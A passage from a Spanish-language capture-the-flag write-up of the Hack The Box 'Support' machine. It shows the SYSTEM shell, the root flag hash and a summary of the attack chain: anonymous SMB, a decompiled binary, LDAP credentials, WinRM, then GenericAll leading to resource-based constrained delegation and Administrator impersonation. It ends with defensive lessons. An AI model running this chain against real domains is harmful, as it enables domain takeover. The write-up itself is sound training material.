nt authority\system

La comprobación en la propia shell no deja lugar a dudas:

whoami
ipconfig

la shell de psexec devuelve nt authority\system y el ipconfig confirma que estamos en 10.10.11.174

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> ipconfig

Ethernet adapter Ethernet0:
   IPv4 Address. . . . . . . . . . . : 10.10.11.174
   Subnet Mask . . . . . . . . . . . : 255.255.254.0
   Default Gateway . . . . . . . . . : 10.10.10.2

root.txt

type C:\Users\Administrator\Desktop\root.txt

root.txt leída como SYSTEM

9f2882745e7a2005a63cc41a6d34e86d

Dominio comprometido. Máquina rooteada.

Cadena de ataque

Todo el recorrido, del recurso SMB anónimo a la shell como SYSTEM, en un vistazo:

SMB support-tools (anónimo)  ─►  UserInfo.exe
  │  dnSpy (breakpoint en LdapQuery)
  ▼
cuenta de servicio "ldap"
  │  ldapsearch  ─►  campo info del usuario support
  ▼
support   (Remote Management Users)
  │  WinRM (evil-winrm)  ─►  user.txt
  ▼
BloodHound: Shared Support Accounts  ──GenericAll──►  DC.SUPPORT.HTB
  │  RBCD: New-MachineAccount + msDS-AllowedToActOnBehalfOfOtherIdentity
  ▼
getST -impersonate Administrator  ─►  psexec -k  ─►  SYSTEM  (root.txt)

Lecciones aprendidas

  • Un binario en un recurso compartido es código que regalas al atacante. UserInfo.exe era un ejecutable .NET legible sin credenciales; con dnSpy se lee como si tuviéramos el fuente, y un breakpoint evita siquiera tener que entender la ofuscación de la contraseña. Las credenciales no deben vivir embebidas en binarios, y menos en un recurso accesible de forma anónima.
  • El campo info (y otros atributos de texto libre de AD) no es un lugar seguro. Cualquier cuenta que pueda leer LDAP ve esos campos. La contraseña de support estaba ahí a la vista; los atributos descriptivos se filtran con la enumeración más básica.
  • GenericAll sobre un equipo es control del equipo, no "un permiso más". Sobre el objeto de un Domain Controller habilita un RBCD que termina en impersonación de Administrator. Esos derechos de control total deberían estar muy restringidos, y desde luego no delegados a un grupo de soporte.
  • RBCD se apoya en dos descuidos combinados. Que un usuario normal pueda crear cuentas de máquina (MachineAccountQuota por defecto a 10) y que pueda escribir msDS-AllowedToActOnBehalfOfOtherIdentity en un objeto sensible. Poner la cuota a 0 y controlar quién escribe ese atributo corta la técnica de raíz.
Cheatsheet de comandos 25 comandos

Repaso rápido